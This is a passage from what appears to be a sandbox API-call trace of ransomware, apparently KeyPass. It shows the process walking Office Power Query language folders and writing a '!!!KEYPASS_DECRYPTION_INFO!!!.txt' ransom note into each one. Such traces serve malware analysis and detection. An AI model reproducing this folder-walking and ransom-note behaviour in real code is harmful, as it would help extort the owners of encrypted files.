lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.696] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.696] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.697] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.697] GetLastError () returned 0x3f0 [0245.697] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.697] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\as\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0245.708] GetFileType (hFile=0x63c) returned 0x1 [0245.708] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.708] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.708] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.709] WriteFile (in: hFile=0x63c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.709] WriteFile (in: hFile=0x63c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.709] CloseHandle (hObject=0x63c) returned 1 [0245.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9888 [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.710] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.710] FindNextFileW (in: hFindFile=0x2ef9888, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.710] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.710] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.710] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.710] GetLastError () returned 0x3f0 [0245.711] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.711] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\az-latn-az\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x648 [0245.715] GetFileType (hFile=0x648) returned 0x1 [0245.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.715] WriteFile (in: hFile=0x648, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.716] WriteFile (in: hFile=0x648, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.716] CloseHandle (hObject=0x648) returned 1 [0245.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef92c8 [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.716] FindNextFileW (in: hFindFile=0x2ef92c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.717] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.717] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.717] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.717] GetLastError () returned 0x3f0 [0245.717] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.717] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\be\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0245.734] GetFileType (hFile=0x64c) returned 0x1 [0245.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.734] WriteFile (in: hFile=0x64c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.735] WriteFile (in: hFile=0x64c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.735] CloseHandle (hObject=0x64c) returned 1 [0245.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9608 [0245.735] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.735] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.735] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.735] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.735] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.735] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.735] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.735] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.736] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.736] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.736] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.736] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.736] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.736] FindNextFileW (in: hFindFile=0x2ef9608, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.736] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.736] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.736] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.736] GetLastError () returned 0x3f0 [0245.736] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.736] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0245.768] GetFileType (hFile=0x654) returned 0x1 [0245.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.769] WriteFile (in: hFile=0x654, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.770] WriteFile (in: hFile=0x654, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.770] CloseHandle (hObject=0x654) returned 1 [0245.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9708 [0245.770] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0245.771] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0245.772] FindNextFileW (in: hFindFile=0x2ef9708, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.772] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.772] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.772] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.772] GetLastError () returned 0x3f0 [0245.772] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.772] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bn-bd\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0245.792] GetFileType (hFile=0x650) returned 0x1 [0245.793] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.793] 